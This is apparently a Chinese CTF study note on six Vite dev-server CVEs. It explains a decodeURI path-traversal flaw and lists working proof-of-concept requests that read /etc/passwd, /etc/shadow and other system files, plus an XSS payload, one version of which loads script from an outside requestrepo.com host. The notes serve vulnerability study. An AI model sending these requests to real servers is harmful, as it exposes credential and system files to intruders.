Vite相关CVE

TG遇到了Vite这个东西,出了三个前端的cve题目,都是很新鲜的cve,因此想着了解一下Vite相关的cve,复现可能要等后面学了ts再看了唉唉。。

CVE-2022-35204

Vite的一个任意文件读取漏洞

vite 默认启用的 /@fs/ 路由用于访问任意本地文件

但是正常访问是会被block的

但是可以利用../绕过进行任意文件读

目前还未复现,贴上别的师傅打好的poc

curl --path-as-is http://localhost:3000/@fs/home/swwind/tmp/cve/CVE-2022-35204/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/hosts
//原链接 https://blog.sww.moe/post/exploits/cve-2022-35204/

这个漏洞的成因大概就是decodeURI这个函数的漏洞

decodeURI在解码时会将大部分的ASCII标点符号和预留字符保留不变,包括/和%2f
这样就会导致/../未被检测到而绕过了安全检测
传入的/home/swwind/tmp/cve/CVE-2022-35204/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/hosts 的时候,decodeURI 函数解析出来的结果会保留其中的所有 %2f,再经由下一步的 path.resolve 函数解析,最终结果是 /home/swwind/tmp/cve/CVE-2022-35204/..%2f..%2f..%2f..%2f../etc/hosts,由此非常轻松地就绕过了 vite 的允许目录检查。

相比之下,decodeURIcomponent就要好一些,因为其解码 URI 组件中的字符,而不是完整的 URI。它可以正确解码任何 ASCII 字符或 UTF-8 字符集,包括默认 URI 编码中使用的所有预留字符和其他特殊字符

在decodeURIcomponent的处理后,传入的参数被解析为/home/swwind/tmp/cve/CVE-2022-35204/../../../../../etc/hosts,会被正确过滤为/etc/hosts,从而防御了任意文件读取

CVE-2023-49293

Vite的一个XSS漏洞

复现可能要回头了把XSS vulnerability in server.transformIndexHtml via URL payload · Advisory · vitejs/vite · GitHub

poc就是直接在后面query打一个普通的反射xss语句,直接弹

?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E
//?"></script><script>alert('boom')</script>

image-20250416124525018

再尝试构造弹了一下

?"></script><script src="https://71g9hx8u.requestrepo.com/";> < /script>

image-20250416125624323

CVE-2025-30208

还是相同的@fs的利用

这边贴poc,回头会补复现

/@fs/etc/passwd?import&raw??
/@fs/etc/passwd?raw??

Vite 任意文件读取漏洞分析复现(CVE-2025-30208) | 小艾博客

CVE-2025-31125

这个洞是利用inline的规则配合.wsam进行绕过(是对上一个CVE的补丁的绕过)

/@fs/C://windows/win.ini?import&inline=1.wasm?init
还有两个下面那个大佬打出来的未公开poc//适用6.2.4
/@fs/etc/passwd?import&?meteorkai.svg?.wasm?init
/@fs/etc/shadow?meteorkai.svg?.wasm?init  //这里没有import是因为读取的文件没有后缀,isJSRequest为true

这边引用一下大佬的解释好了

除了?url和?raw还有一种内联的方法?inline,他的作用是:
将文件(如图片、字体、WASM 等)的内容转换为 Base64 编码字符串 或 直接嵌入到 JS/HTML/CSS 中,避免额外的 HTTP 请求
?init主要用于 WebAssembly(.wasm)文件的初始化,默认只有.wasm支持?init其他如.data、.bin可以通过插件拓展支持
通过这种新的方法绕过了修复后的正则过滤
//原链接https://cloud.tencent.com/developer/article/2513407

Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区

CVE-2025-31486

先贴出poc

/etc/passwd?.svg?.wasm?init
/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw

原链

其中第二个poc是需要先探出大概的路径才能打的

Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31486)-先知社区

CVE-2025-32395

poc

curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

原链

Vite任意文件读取bypass调试分析(CVE-2025-32395)-先知社区